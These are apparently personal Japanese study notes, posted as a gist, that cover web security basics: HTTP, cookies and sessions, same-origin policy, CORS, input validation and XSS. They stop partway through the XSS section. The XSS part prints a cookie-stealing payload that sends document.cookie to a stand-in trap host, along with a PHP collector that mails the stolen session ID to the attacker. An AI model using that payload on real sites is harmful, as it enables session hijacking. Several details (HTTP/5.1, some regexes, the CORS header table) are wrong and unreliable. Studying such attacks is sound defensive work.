Skip to content

Instantly share code, notes, and snippets.

@teslasand0987
Last active December 8, 2022 06:39
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save teslasand0987/39cdcae2d5c0a59abfcb26bb1132f2f8 to your computer and use it in GitHub Desktop.
Save teslasand0987/39cdcae2d5c0a59abfcb26bb1132f2f8 to your computer and use it in GitHub Desktop.
Webセキュリティ基礎

Webセキュリティの基礎

1.はじめに

 アプリケーションに何かしらのバグがあると様々な問題を起こす可能性があります。 そしてバグの中には悪用ができてしまうものが存在します。そうしたものは脆弱性と呼ばれます。

1.1 脆弱性の問題原理

脆弱性が問題となる理由は下記の通りです。

  • 経済的損失の恐れ
  • 法的な要求の恐れ
  • 利用者が回復不能なダメージを受ける恐れ
  • 利用者に安全性に関して保証できなくなる恐れ
  • 攻撃インフラ構築に加担してしまう恐れ

1.2 脆弱性が生じる分け

脆弱性の発生原因には以下の2種類に分類ができます。

  1. バグによるもの ・・・ セキュリティに無関係なところに発生しがちである
  2. チェック機能の不足によるもの ・・・ セキュリティチェックが乏しい場合に発生する

1.3 セキュリティバグとセキュリティ機能

セキュリティ機能は、システムに安全性を強化する機能であり、セキュリティバグはそこから漏れ出した脆弱性(バグ)のことを示します。 セキュリティ機能はセキュリティ要件とされシステムの要件定義に組み込まれる場合があります。

1.4 セキュリティガイドライン

Webを利用したアプリケーションやシステムの開発のセキュリティ設計において、いくつかの公的機関がガイドラインを公開しています。 これらの資料のいくつかは実際の開発の際に企業や組織で活用されいます。

資料名 URL 提供機関
安全なウェブサイトの作り方 https://www.ipa.go.jp/files/000017316.pdf IPA
安全なSQLの呼び出し方 https://www.ipa.go.jp/files/000017320.pdf IPA
ウェブ健康診断仕様 https://www.ipa.go.jp/files/000017319.pdf IPA
OWASP Top 10 https://owasp.org/www-project-top-ten/ OWASP

2.HTTPとセッション管理

2.1 HTTP

Webアプリケーションの脆弱性には、Web特有の性質に由来するものがあります。 Webでは主にHTTPリクエストというWebサーバに対する命令と、HTTPレスポンスというWebサーバから返された内容の2つを使って情報のやり取りを行います。

2.2 HTTPリクエスト

HTTPリクエストはブラウザなどからWebサーバに送られた要求であり、構成は以下のようになります。

HTTPリクエストライン

HTTPリクエストラインはWebサーバに対する命令に相当する部分であり、構成は以下のようになります。 例

GET / https://www.yahoo.co.jp HTTP/5.1

構造

メソッド / URL プロトコル/バージョン

HTTPのメソッドには以下のようなものがあります。

  • GET
  • POST
  • HEAD etc...

2.3 HTTPレスポンス

HTTPレスポンスはwebサーバから返された内容であり、構成は以下のようになります。

ステータスライン(ステータス行)

ステータスラインは、リクエストメッセージの処理結果のステータスを返します。構成は以下の通りです。 例

HTTP/5.1 200 OK

構成

プロトコル/バージョン ステータスコード テキストフレーズ

ステータスコードは100の位に意味を持ち以下表のように分類されます。

ステータスコード 概要
1xx 処理が継続している
2xx 正常終了
3xx リダイレクト
4xx クライアントエラ
5xx サーバエラ

レスポンスヘッダ(ヘッダーフィルド)

代表的なヘッダに以下なようなものがあります。

  • Content-Length ・・・ Bodyのバイト数を示す
  • Content-tyle ・・・ MIMEタイプというリソース種類を指定する
主なMIMEタイプ
MIME Type 意味
text/plain テキスト
text/html HTML文書
application/xml xml文書
text/css css
image/gif GIF画像
image/jpeg jpeg画像
image/png png画像
application/pdf pdf文書

2.4 HTTP POSTメソッドにおける「入力・確認・登録」パターン

「入力・確認・登録」形式の入力フォームのHTTPメッセージを確認します。

入力→確認

入力→確認の遷移におけるHTTPリクエストの内容の抜粋部分の構造例を以下に示します。

POST https://yamot.co.jp/31/31-003.php HTTP/5.1
Referer: https://yamot.co.jp/31/31-002.php
Content-Type: application/x-www-form-urlencoded
Host: yamot.co.jp

name=%5E%BE%E3%B8%B5%B8%A9%E4%A4&mail=test&40yamot.co.jp&gender=%5E%BE%E3%B8%B5%B8
メッセージボディ

ヘッダとボディは空行で区切られます。 HTTPリクエストのボディにはPOSTメソッドにより送信される値が入ります。

Referer

HTTPリクエストのヘッダに「Referer」がつくことがあります。 これはリンク元のURLを示すヘッダであり、form要素によるフォーム送信やa要素によるリンク、img要素による画像参照などでつけられます。 Refererがセキュリティ上の問題となるケースは、URLに秘密情報を含んでいる場合です。 多くの場合、URLにセッションIDが含まれている場合で、Referer経由で外部に漏洩しなりすましに悪用される場合があります。

2.5 GETとPOSTの使い分け

GETメソッドとPOSTメソッドの使い分けのガイドラインとして以下のようなものが示されています。

  • GETメソッドは参照(リソース取得)のみに用いる
  • GETメソッドは副作用(リソース取得以外の作用)がないことが期待される
  • 秘密情報の送信にはPOSTメソッドを用いること

副作用の例としては「サーバ側でのデータ追加、更新、削除がおきる作用」があります。これらのような更新系にはPOSTメソッドを用いる必要があります。 また、GETメソッドはURLにクエリ文字列の形でパラメータを渡しますが、ブラウザやサーバが処理できるURL長には上限があるため、データ量が多い場合はPOSTメソッドを使う方が安全である。 秘密情報をPOSTで送信すべき理由はGETの場合で送信すると以下のような場合があるためである。

  • URL上に指定されたパラメータがReferer経由で漏洩する
  • URL上に指定されたパラメータがアクセスログに残る
  • URL上のパラメータがブラウザのアドレスバーに表示され他人に覗かれる
  • パラメータつきのURLを利用者がSNSなどで共有してしまう

まとめると、これらが以下の項目で1つでも当てはまる場合はPOSTメソッドを用い、そうでない場合はGETメソッドを利用すべきであると言える。

  • データ更新などの副作用を伴うリクエストの場合
  • 秘密情報を送信する場合
  • 送信するデータの総量が多い場合

2.6 hiddenパラメータの危険性

HTMLにおいてデータの受け渡しにhiddenパラメータは使われます。

<form>
  <input type="hidden" name="name" value="value">
</form>

これはHTMLの表示として見えなくてもHTML文書上には記述されます。 HTTPはクライアントの状態を覚えておく設計になっていません(HTTPのステートレス性)。 そのためレスポンス内のhiddenパラメータに状態を記録します。

HTTPというレイヤー下においては、hiddenパラメータと同じように、テキストボックスやラジオボタンの選択肢も ブラウザで見る画面上では変更できない値は利用者が書き換え可能であると言えます。

hiddenパラメータのメリット

hiddenパラメータは利用者が書き換えできる特徴もあるが、情報漏洩や第3者の書き換えに対しては堅牢でもあります。 hiddepnパラメータや後述にあるセッション変数やクッキーのメリットとデメリットをまとめます。

種類 メリット デメリット
hiddenパラメータ 情報漏洩や第3者の書き換えに対しては堅牢 利用者が書き換え可能
セッション変数 利用者自身の書き換えが難しい セッションIDの固定化攻撃に弱い
クッキー セッションIDの固定化攻撃に弱い

これらの特徴から、利用者により書き換えられて困る認証や認可に関する情報はセッション変数を用い、それ以外は基本的にhiddenパラメータを用いるとよい。 とくにログイン前の状態ではセッション変数の利用は避け、hiddenパラメータを用いることが情報漏洩に対して安全である。

2.7 HTTP認証

HTTPには認証機能がサポートされており、HTTP認証と称されます。 種類にはBASIC認証、NTLM認証、Digest認証などがあります。 HTTPがステートレスであるように、HTTP認証もステートレスとなっています。

Basic認証

Basic認証は特定のディレクトリに設定をすることでIDとパスワードがなければそのディレクトリ以下のコンテンツを閲覧できなくすることができる機能です。 この仕組みはWebサーバの設定でも実現できる場合が多いが、各種フレームワークや言語の機能で実装できる場合もあります。

Basic認証において、ユーザ名やID、パスワードを入力し認証ボタンを押すとHTTPリクエストには以下のようなヘッダが付与されます。 例

Authorization: Basic dXNlcjE6cGFzcE=

Basic後ろの文字列はIDやパスワードをコロン「:」で区切りつなげ、Basic64エンコードしたものです。 一度Basic認証に成功すると、Basic認証を指定したディレクトリへのリクエストにはブラウザが自動的にAuthorizationヘッダを付与します。 そのため見かけ上では認証状態が保持されているように見えても、リクエスト毎にIdとパスワードが送信されており、認証状態自体はどこにも保存されていない。 そのためBasic認証はステートレスであり、ログアウトという概念も存在しません。 ちなみにBasic認証をログアウトのような状態にするにはBasic認証のキャッシュを削除します。 具体的にはURLがexample.comの場合「https://me@ exapmple.com」のようにすることでその認証をしたブラウザでログアウトのような状態にすることが可能です。

2.8 Cookieとセッション管理

セッション管理とはクライアントとサーバー間でその情報を保持し、アクセス制御を一つの集合体として管理する仕組みである。 このセッション管理をHTTPで実現する目的でCookieという仕組みがある。Cookieはセッション管理という機能の実現に使われています。 具体的にCookieはサーバ側からブラウザに対して「名前=変数」の組を覚えておくように指示するものです。

session_startを組み込んであるWebページ(例:ログイン画面等)のレスポンスヘッダでは、以下にように記述されます。 例

HTTP/5.1 200 OK
Set-Cookie: PHPSESSID-gg5144evrhmdialeksjn45ndkjb53; path=/
Content-Length: 279
Content-Type: thxt/html; charset=UTF-8

<html>

このレスポンスヘッダの「Set-Cookie」により、Webサーバはブラウザに対してクッキー値を覚えるように指示します。 また、各入力値(ログインIDやパスワード)を入力しボタンを押すと、以下のようなHTTPリクエストがブラウザからサーバに送信されます。 例

POST /31/31-021.php HTTP/5.1
Referer: http://exapmle.com/31/31-020.php
Content-Type: application/x-www-form-urlencoded
Host: example.com
Content-Length: 18
Cookie: PHPSESSID=gg55427jsbhj232sjb2asjn

ID=user1&PWD=pass1

クッキー値を覚えたブラウザは、その後同一のサイト(例の場合:example.com)にリクエストを送信する際に 覚えたクッキー値(PHPSESSID=...)を送信します。なお、クッキーには有効期限が設定可能ですが、指定しない場合はブラウザを終了するまで有効です。 例の場合、PHPSESSIDのクッキー値はセッションIDと呼ばれます。セッション情報にアクセスするためのキー情報をとなります。

Cookieによるセッション管理

クッキーは少量のデータをブラウザで覚えておけるものですが、アプリケーションデータを保持する目的でクッキーそのものに値を言えっることはあまりしない。

  • クッキーが保持できる値の個数や文字列長には制限がある
  • クッキー値は利用者本人から参照・変更できるため、秘密情報の格納には不向き

このため、多くの場合クッキーには「整理番号」としてセッションIDを格納し、実際の値はサーバ側で管理する方法が用いられます。これはクッキーによるセッション管理と呼ばれます。 またセッションIDは連番の場合なりすましされる場合があるため、十分な桁の乱数を用います。 セッションIDに求められる要件には以下のようなものがあります。

  1. 第3者がセッションIDを推測できないこと
  2. 第3者からセッションIDが強制されないこと
  3. 第3者にセッションIDが漏洩しないこと

1の要件を満たすのは乱数の質が要求されます。乱数に規則性がある場合、セッションIDを収集することで他人のセッションIDが推測できる場合があります。その対策として、セッションIDは暗号論的疑似乱数生成器を用いて生成します。この高度な乱数生成器の例は電子政府推奨暗号リスト(http://www.cryptrec.go.jp/list.html )に一覧が記載されています。 実際の開発ではセッションIDを自作するのではなく、各種WEB開発ツール(PHP,Laravel,Rails,.Net....)で提供されるセッションIDが利用されます。 基本的にセッション管理機構は自作しないことが重要です。

セッションIDの固定化攻撃(SFA)

この攻撃は、攻撃者が正規利用者に対してセッションIDを強制する攻撃です。

これを防ぐには認証されたタイミングでセッションIDを変更することで実現できます。

セッションID漏洩の原因

セッションIDが漏洩した場合、他の利用者になりすましができるため対策を講じる必要があります。 セッションIDが漏洩する原因には以下のようなものがあります。

  • クッキー発行の際の属性に不備がある
  • ネットワーク上でセッションIDが盗聴される
  • クロスサイトスクリプティングなどのアプリの脆弱性により漏洩する
  • 開発機能(PHP,Rails...)やブラウザなどのプラットホームの脆弱性により漏洩する
  • セッションIDをURLに保持する場合に、Refererヘッダより流失する

セッションIDがネットワーク上で盗聴される場所は公的無線LAN(Free Wifi)などです。 セッションIDをネットワーク上の盗聴から保護するにはTLSによる暗号化が有効です。その際にクッキーを発行する属性指定に注意する必要があります。

Cookieの属性

クッキーを発行する際に、オプション属性を設定できます。主な属性は以下の通りです。 セキュリティ上重要な属性は、「Domain」「Secure」「HttpOnly」 の3つです。

属性 意味
Domain ブラウザがクッキー値を送信するサーバのドメイン
Path ブラウザがクッキー値を送信するURLのディレクトリ
Expires クッキー値の有効期限、指定なしの場合ブラウザ終了まで
Secure HTTPSの場合のみクッキーを送信
HttpOnly JavaScriptでクッキーを取得できないようにする

CookieのDomain属性

クッキーはデフォルトではクッキーをセットしたサーバのみに送信されます。 Domain属性は、「複数のサーバに送信されるクッキーを生成したい場合」に使用します。 Domain名を指定した場合、例えば「example.com」を指定したとするとサブドメインにもクッキーが送信されることとなります。 そのためDomain属性は原則指定しないのがルールとなります。

CookieのSecure属性

Secure属性はHTTPSの通信の場合のみサーバに送信されます。この属性はHTTPS送信を保証する目的で指定されます。

CookieのHttpOnly属性

HttpOnly属性は、JavaScriptからアクセスできないクッキーを設定するものです。 クッキーとして格納されたセッションIDを盗み出す攻撃にはクロスサイトスクリプティングがあり、これはJavaScriptを悪用してクッキーを盗み出すものです。 HttpOnly属性のみでクロスサイトスクリプティングは防げませんが、攻撃を難しくできるため、セッションIDにHttpOnly属性をつけることが推奨されます。

CookieのSameSite属性

最近のブラウザにはCSRF脆弱性対策としてSameSite属性が機能として追加されています。 sameSite属性には値としてStrict(厳しい),Lax(緩い),None(なし)が指定できます。 通常はSameSite=Laxを指定します。この結果として他サイトからPOSTメソッドで遷移した場合はクッキーは送信されなくなります。


3.受動攻撃と同一オリジンポリシ

3.1 能動攻撃と受動攻撃

Webを用いた攻撃手段には能動攻撃と受動攻撃に分類されます。

能動攻撃

能動攻撃は攻撃者がWebサーバに直接攻撃することです。 代表例としてはSQLインジェクション攻撃があります。

受動攻撃

受動攻撃は攻撃者がサーバを直接攻撃するのではなく、Webサイトの利用者にわなを仕掛けることにより、罠を閲覧したユーザを通しWebアプリを攻撃する手法です。

単純な受動攻撃

単純な受動攻撃例としては「罠サイトに利用者を誘導するパターン」があります。 このケースでは怪しいサイトを閲覧してマルウェアに感染する場合です。 ブラウザ本体や各種アプリケーションの脆弱性をついた攻撃となる場合がほとんどです。

正規サイトを悪用した受動攻撃

このタイプの攻撃では以下のようなステップを踏みます。

  1. 攻撃者はあらかじめ正規サイトを攻撃しコンテンツに仕掛けを仕組む
  2. サイト利用者が仕掛けを含むコンテンツを取得し閲覧する
  3. サイト利用者の端末にマルウェアが感染する

この手法では下記の4種類が多いです。

  • FTPなどのパスワードを不正入手しコンテンツを書き換える
  • Webサーバの脆弱性をついた攻撃によりコンテンツを書き換える
  • SQLインジェクション攻撃によりコンテンツを書き換える
  • SNSなどの利用者が投稿可能なサイト機能のクロスサイトスクリプティング脆弱性を悪用する
サイトをまたがった受動攻撃

このタイプの攻撃は罠サイトと正規サイトをまたがった攻撃です。 例としては以下のようなステップがあります。

  1. 利用者が罠サイトを閲覧する
  2. 罠サイトから仕掛けを含むHTMLをダウンロードする
  3. HTMLの仕掛けが発動し正規サイトに攻撃のレスポンスを送信する
  4. 正規サイトからJavaScriptなどの仕掛けを含むレスポンスが返送される

このタイプの攻撃は正規サイトにログインしている利用者のアカウントを悪用した攻撃です。 このタイプの攻撃例には以下のようなものがあります。

  • CSRF(:項目3による攻撃のタイプ)
  • XSS・HTTPヘッダインジェクション(:項目4の攻撃のタイプ)

3.2 ブラウザで受動攻撃を防ぐ方法

受動攻撃に関してはブラウザやWebサイトそれぞれで対策を行う必要があります。

ブラウザでのセキュリティ機能

サンドボックス

ブラウザ上では利用者の安全性を高めるための機能を提供しています。

  • 利用者に配布元を確認させた上で許可した場合のみ実行する
  • プログラムのできることを制限するサンドボックス環境を用意する

サンドボックスはJavaScriptやAdobe Flash playerなどで採用されている考え方であり、プログラムにできることを制限を付けることで悪意のあるプログラムから利用者を守るように配慮されています。

JavaScriptのサンドボックス

JavaScriptのサンドボックスでは以下のように機能が制限されます。

  • ローカルファイルへのアクセス禁止
  • プリンタなどの資源の利用禁止
  • ネットワークアクセスの制限(同一オリジンポリシ)

同一オリジンポリシ

同一オリジンポリシは、JavaScriptなどのクライアントスクリプトからサイトをまたがったアクセスを禁止するセキュリティ上の制限であり、ブラウザのサンドボックスに提供された機能の1つです。 簡単に言うと、「JavaScript で自由にやりとりできるところは、その JavaScript をとってきたところと同一の場所だけに制限する」 ということです。

同一オリジンである条件

同一オリジンを満たすのは下記条件の全てを満たす場合です。

  • URLのホストが一致している
  • スキーム(プロトコル)が一致している
  • ポート番号が一致している

同一オリジンポリシによる保護対象にはiframe内の要素にとどまらず、Ajaxに使用されるXMLHttpRequestオブジェクトでアクセスできるURLなどにも及びます。XMLHttpRequestに関しては相手の許可があれば同一オリジンでなくても通信可能なCORSという規格が策定されました。

アプリケーション脆弱性と受動攻撃

ブラウザは同一オリジンポリシにより受動攻撃を阻止していますが、アプリケーションに脆弱性があると受動攻撃を受ける場合があります。 その代表例に「クロスサイトスクリプティング(XSS)攻撃」があります。 XSSは同一オリジンポリシをかいくぐった攻撃手法であり、iframeの外側のスクリプトで内側をアクセスしようとした場合は同一オリジンポリシ違反でアクセス拒否されますが、何らかの手法によりiframeの内側にJavaScriptを送り込み実行させ同一オリジンポリシをかいくぐります。

3.3 JavaScript以外でのクロスドメインアクセス

JavaScript以外のブラウザ機能で、クロスドメインアクセスが許可されているものには以下のようなものがあります。

frame要素とiframe要素

frame要素とiframe要素はクロスドメインアクセスができます。 ただしJavaScriptのよるクロスドメインのドキュメントにアクセスすることは禁止されています

img要素

img要素のsrc属性はクロスドメインの指定が可能です。 またHTML5のcanvas要素を用いると、JavaScriptにより画像の中身にアクセスできますが、この場合はCORSと同一オリジンポリシの制約を受けます。 そのためクロスドメインの画像参照が問題になることは基本的にはない。

script要素

scriptの要素にsrc属性を指定すると他サイトからJavaScriptを読み込むことができます。

CSS

CSSはクロスドメインでの読み込みが可能な他、HTMLではlink要素で、CSSでは@importで、JavaScriptではaddImportメソッドで可能です。

form要素のaction属性

form要素のaction属性でもクロスドメインの指定が可能です。 また、formのsubmitはJavaScriptから常に操作できます。このformの特性を悪用した攻撃手法にはクロスサイトリクエストフォージェリ(CSFR)攻撃があります。CRSF攻撃ではユーザの意図しないformを送信させられ、アプリケーションの機能が勝手に実行されます。

3.4 CORS(Cross Origin Resource Sharing)

CORSは同一オリジンポリシーによって設けられた制限を緩めるものです。 具体的には、HTTP ヘッダーの転送で構成されるシステムであり、ブラウザーがオリジンをまたいだリクエストのレスポンスに、フロントエンドの JavaScriptがアクセスすることをブロックするかどうかを決めるものです。 CORS で定義された方法に従えば、たとえ同一オリジンでなくても、fetchやXMLHttpRequest (XHR)などJavaScript による自由なリソース取得が許可されます。 CORS ではリクエストの種類がシンプルリクエストとプリフライトリクエストの2種類に分けられています。 シンプルリクエストとプリフライトリクエストのレスポンスヘッダに共通して記述するものにAccsess Control Allow Originがあります。

Access-Control-Allow-Origin: https://example.com

シンプルリクエスト

シンプルリクエストといわれるのは下記メソッドです。

  • GET
  • POST
  • HEAD

プリフライトリクエスト

プリフライトリクエストは、リクエストの始めにOPTIONS メソッドで対象の異なるオリジンにリクエストを送り、実際のリクエストを送っても問題ないか確認します。該当するリクエストは以下になります。

  • PUT
  • DELETE
  • CONNECT
  • OPTIONS
  • TRACE
  • PATCH

プリフライトリクエストのレスポンスとして、アクセスを許可するメソッドをレスポンスヘッダーに含める必要があります。

Access-Control-Allow-Methods: POST, PUT, DELETE, PATCH

プリフライトリクエストでやり取りするヘッダには以下のようなものがあります。

要求の種類 リクエスト レスポンス
メソッドに対する許可 Accsess-Control-Request-Method Accsess-Control-Request-Methods
ヘッダに対する許可 Accsess-Control-Request-Headers Accsess-Control-Request-Headers
オリジンに対する許可 Origin Accsess-Control-Request-Origin

認証情報を含むリクエスト

通常ではHTTP認証やCookieも含めてリクエストを送りたいという場合、デフォルトでは異なる Origin に対して送信されません。 オリジンをまたいでCookieを送りたい場合はレスポンスヘッダに以下の記述を追加します。

Access-Control-Allow-Credentials: true

例としてXMLHttpRequestを使う場合とFetch APIを使う場合の記述例を示します。

●XMLHttpRequestの例

const xhr = new XMLHttpRequest();
xhr.withCredentials = true; // ここを追加。

●Fetch APIの例

fetch('https://exapmle.co.jp', {
  mode: 'cors',
  credentials: 'include' // ここを追加。
});

機能別のセキュリティバグ

1.脆弱性の発生

1.1 脆弱性の全体像

この関係から以下のことが分かります。

  • 脆弱性には処理に起因するものと出力に起因するものがある
  • 入力に起因する脆弱性はない
  • 出力に起因する脆弱性には「インジェクション」が多い

Webアプリケーションの脆弱性は機能との関係性が強いことがわかります。

1.2 インジェクション系脆弱性

Webではテキスト形式のインターフェスを多用します。例えばHTML,HTTP,SQLなどです。 これらのテキスト形式は決められた文法により構成され、命令や演算子、データなどが混在します。 特にデータの中に「データの終端」を示す記号や命令を混入させて文字列の構造を変化させるものがあります。 それらはインジェクション系の攻撃の共通原理であり多用されます。

脆弱性名 インターフェス 悪用手段 データの終端
XSS HTML JavaScriptなどの挿入 < " など
HTTPヘッダインジェクション HTTP HTTPレスポンスヘッダの挿入 改行
SQLインジェクション SQL SQL文の挿入 ' など
OSコマンドインジェクション シェルスクリプト コマンドの挿入 ; | など
メールメッダインジェクション sendmailコマンド メールメッダ、本文の挿入や改変 改行

2 入力処理系のセキュリティ

2.1 入力処理の検証

入力処理はHTTPリクエストとして渡されるパラメータ(GET,POST, Cookie)などを指します。 入力処理では入力値に対して以下の処理を実行します。

  • 文字エンコーディングの妥当性検証
  • 文字エンコーディングの変換(必要な場合)
  • 入力値の妥当性検証

文字エンコーディングの妥当性検証を行理由には、文字コードを用いた攻撃手法があるからです。 文字エンコーディングの変換が必要な場合はHTTPメッセージとプログラム内部の文字エンコーディングが異なる場合です。 入力値の妥当性検証は基本的にはアプリケーションの使用に基づいて行いますが、セキュリティ上の保険のような対策になります。

2.2 文字エンコーディングの検証

サーバサイドで動かすことの多い、各プログラミング言語(PHP,Ruby,Python)での文字エンコーディングの検証に関して見てみます。

●PHPの場合

bool mb_check_encording(string チェック対象の文字列, string 文字エンコーディング)

第2引数を省略した場合はPHP内部の文字エンコーディングが使われます。 文字列のエンコーディングが正当な場合trueを返します。

●Rubyの場合

str = str.encode(文字エンコーディング)
puts str

変数strはチェック対象の文字列が格納されています。

●Pythonの場合

chardetモジュールが必要です。

str = chardet.detect(チェック対象の文字列))
print "文字エンコーディング" == str["encording"]
# True or False

2.3 文字エンコーディングの変換

各言語における文字エンコーディングの変換仕様は以下の通りです。

言語 自動変換 スクリプト記述
PHP php.iniなど mb_convert_encording
Perl Encode::decode
java setCharacterEncording Stringクラス
Ruby Stringクラス
Python chardetライブラリ

2.4 入力値の検証

入力値の検証のないアプリでは以下のような現象が起こりえます。

  • 数値のみを受け付ける項目に対し、英字や記号を入力しデータベースエラーとなる
  • 更新処理が途中でエラーとなりデータベースの不整合が起こる
  • 利用者が多数の項目を入力し実行ボタンをクリックしたら内部エラーとなり入力をやり直すはめとなる
  • メールアドレスの入力を忘れている項目があるにもかかわらず、アプリケーションがメール送信処理を実行する

入力値検証とセキュリティ

入力値検証の目的はセキュリティ対策では基本的にはありませんが、セキュリティ対策となる場合があります。

  • SQLインジェクション対策が漏れだしたパラメータがあったが、英数字のみ許可したため実害にならない
  • 表示処理の関数に文字エンコーディングの指定は行っていないが、入力段階でチェックしているため実害にならない

バイナリセーフとNull Byte攻撃

バイナリセーフは入力値がどんなバイト列でも正しく扱えることを意味します。具体的には0が現れても正しく処理できることを指します。 Null ByteはC言語やUnix,Windows APIなどでは文字列の終端とみなす取り決めがあり、それが問題となる場合があります。 この問題をついた攻撃としてはNull Byte攻撃が知られています。 Null Byte攻撃に対して根本対策を講じることはNull Byteを許容しないパラメータがあるため困難である。 そのため、入り口でバイナリセーフ関数を用いて入力値のNull ByteをチェックしNull Byteがあった場合エラーにすることが確実な対応となる。

制御文字のチェック

入力値検証で「すべての文字を許可する場合」でも検証できることとしては、制御文字のチェックがあります。 制御文字は改行やタブなどの通常表示されない文字です。またNull Byteも制御文字の1つです。 input要素のtype属性がtextやpasswordのものは通常では制御文字は入力できないため、これらのフィールドでは制御文字はすべて拒絶できます。 一方textarea要素の場合は仕様で改行やタブの入力が可能です。

文字数のチェック

すべてのパラメータに最大文字数を仕様として定義すべきである。 データベースを利用する場合は定義するのはもちろん、上限がない場合でも動作保証のための最大文字数を仕様として決める必要があります。 また、最大文字数をチェックするとセキュリティ対策の保険となる場合があります。

数値の最大値・最小値のチェック

数値項目は、値が取りうる最小値と最大値の使用を定め検証すべきです。 数値項目に関しては入力時に以下の検証を行うことが推薦されます。

  • 数値文字列として文字種・文字数のチェック
  • 文字列型から数値型への型変換
  • 最大値と最大値の範囲に値があることの確認

その他の注意事項

その他に注意する点としては以下のようなものがあります。

  • 入力項目が指定されていないケース
  • 配列形式で入力されているケース

どのパラメータを検証すべきか

入力検証すべきパラメータはすべてのパラメータです。hiddenパラメータ、ラジオボタン、select要素なども含まれます。 CookieにセッションID以外の値を入れている場合はCookieの値も検証します。 refererなどのHTTPヘッダをアプリが利用する場合も検証します。

正規表現関数の利用

入力値検証の実装をアプリケーションロジック(javascript,php,ruby,python単体)で実装するには正規表現の利用が一般的です。

下記にphp,ruby,pythonでの正規表現例を示します。

正規表現による検証(1):英数字1から5文字

●PHPの場合

// 英数字チェック
if (preg_match('/\A[a-zA-Z0-9]{1,5}\z/ui', $data)) {
    // 英数字の場合
}
else {
    // 英数字ではない場合
}

●rubyの場合

if data =~ /\A[a-zA-Z0-9]{1,5}\z/ui
  #英数字の場合
else
  # 英数字でない場合
end

●Pythonの場合

import re
if bool(re.search("/\A[a-zA-Z0-9]{1,5}\z/ui", data)) == True
  # 英数字の場合
else
  # 英数字でない場合
正規表現による検証(2):住所欄{30文字以内∧改行やタブの禁止}

●PHPの場合

// 英数字チェック
if (preg_match('/\A[[:^cntrl:]]{1,30}\z/u', $data)) {
    // 条件を満たす場合
}
else {
    // 条件を満たさない場合
}

●rubyの場合

if data =~ /\A[[:cntrl:]]{1,30}\z/u
  # 条件を満たす場合
else
  # 条件を満たさない場合
end
正規表現による検証(3):コメント欄{400文字以内∧改行タブ以外の制御文字の禁止}

●PHPの場合

// 英数字チェック
if (preg_match('/\A[\r\n\t[:^cntrl:]]{1,400}\z/u', $data)) {
    // 条件を満たす場合
}
else {
    // 条件を満たさない場合
}

●rubyの場合

if data =~ /\A[\r\n\t[:cntrl:]]{1,400}\z/u
  # 条件を満たす場合
else
  # 条件を満たさない場合
end

入力値検証とフレームワーク

Webアプリケーションフレームワークを用いて開発する場合、たいていの場合は入力値検証機能があります。

フレームワーク 方法
Laravel(php) validation
Rails(ruby) validatesメソッド
Django(python) is_valid()

2.5 入力値検証と実装方法

まとめると検証は以下の項目を行います。

  • 文字エンコーディングの検証
  • 制御文字を含む文字種の検証
  • 文字数の検証
  • 数値の最大値・最小値の検証

実装は以下のように行います

  • 設計で各パラメータの文字種や最大文字数・最小値・最大値を決める
  • 設計で入力値検証の実装を決める
  • 開発で上記仕様に従い入力値検証の実装を行う

3. 表示処理に伴う問題

表示処理が原因で発生するセキュリティ上のリスクには以下のようなものがあります。

  • XSS
  • エラーメッセージからの情報漏洩

3.1 クロスサイトスクリプティング(XSS) 基本編

概要

Webアプリには外部からの入力に応じ表示が変化する部分があり、この部分のHTML生成の実装に問題があるとXSSという脆弱性が発生します。 XSS脆弱性がある場合以下のような影響があります。

  • サイト利用者が攻撃者の用意したScriptの実行によりCookie値が盗まれ、なりすましの被害にあう
  • サイト利用者が攻撃者の用意したScriptの実行により、利用者権限によってWebアプリの機能が悪用される
  • Webサイト上に偽の入力フォームが表示されフィッシングにより利用者が個人情報を盗まれる

XSS脆弱性には対策の必要な個所が多いため、運営者は軽視する傾向があり対策が不十分な場合が多いです。 対策はHTMLで特殊意味を持つメタ文字をエスケープすることです。

●XSSのまとめ

タイトル 説明
発生箇所 Web上でHTMLやJavaScriptを生成している箇所
影響範囲 Webページやアプリケーション全て
影響の種類 利用者のブラウザ上でのJavaAcriptの実行、偽情報表示
影響度合い 中から大
対策の概要 属性値は「"」で囲む、HTMLの特殊文字をエスケープする

XSS攻撃手法と影響

XSSの悪用の方法は3種類あります。

  • クッキー値の盗み出し
  • JavaScriptによる攻撃
  • 画面の書き換え
●XSSによるクッキー値の盗み出し

クッキーにセットされたセッションIDは、ログイン後(session_start()のあるページ)にアクセス後 GET keywordのパラメータに、とあるjavascriptを記述することで可能です。

例としてGetキーワードがkeywordの場合です。

https://www.example.com/001.php?keyword=<script>alert(document.cookie)</script>

上記URLを実行するとjavascriptのアラートでセッションIDが読み出せます。

●受動攻撃による別人のクッキー値の盗み出し

このタイプの脆弱性は正規のサイト利用者を罠サイトにまず誘導します。 具体的には罠サイトのHTMlのiframe要素に脆弱性のある正規ページ改造URL(Scriptを埋め込んだURL)を埋め込みます。

偽サイトに埋め込むiframe要素のURL例はいかのようになります。

htttps://www.example.com/001.php?keyword=<script>window.location="http://trap.exapmple.com/901.php?sid='%2Bdocument.cookie;</script>"

また埋め込んだURLの情報収集用scriptページ(http://trap.exapmple.com/901.php )の構造例は以下の通りです。

<?php
    mb_language('japanese')
    $sid = $_GET['sid']
    mb_send_mail('送り先メールアドレス', 'タイトル', "セッションID:".$sid, "From: 偽サイトのメールアドレス");
?>

これらにより以下の手順にセッションIDが流出します。

  1. 罠サイトに利用者がアクセスする
  2. 罠サイトのiframe内で脆弱性のある正規サイトが表示される
  3. 脆弱性のある正規サイトはXSS攻撃により、クッキー値をクエリ文字列としてつけ、情報収集用scriptページを読み込む
  4. 情報収集用scriptページは受け取ったクッキー値をメールで攻撃者に知らせる

まとめると偽サイトにアクセスするとXSSの仕掛けによりセッションIDが悪意のある第3者に知らされます。 悪意のある第3者はこの入手したセッションIDを用いて攻撃が可能です。

●画面の書き換え

XSS脆弱性はログイン機能のないサイトにも影響があります。

具体的には新たなform要素を追加することにより画面を改変します。

  • <form>により元サイトのform要素を終了させる
  • 新しいform要素を開始しstyleで以下を指定(formを絶対座標で画面上に表示、z-indexを大きな値にする、背景色を指定し元のformが見えにくいようにする
  • actionパラメータのurlに罠サイトを指定する

これにより正規のホームを上書きし偽のフォームを用意し罠サイトへ誘導します。

反射型XSSと持続型XSS

XSS攻撃には反射型XSSと持続型XSSの2種類があります。

1. 反射型XSS 攻撃用のScriptが攻撃対象のサイトとは別のサイト(罠サイトやメールURL)にある場合は反射型です。 このタイプの多くの場合入力値をそのまま表示するページで発生します。 特に入力値の確認用ページです。

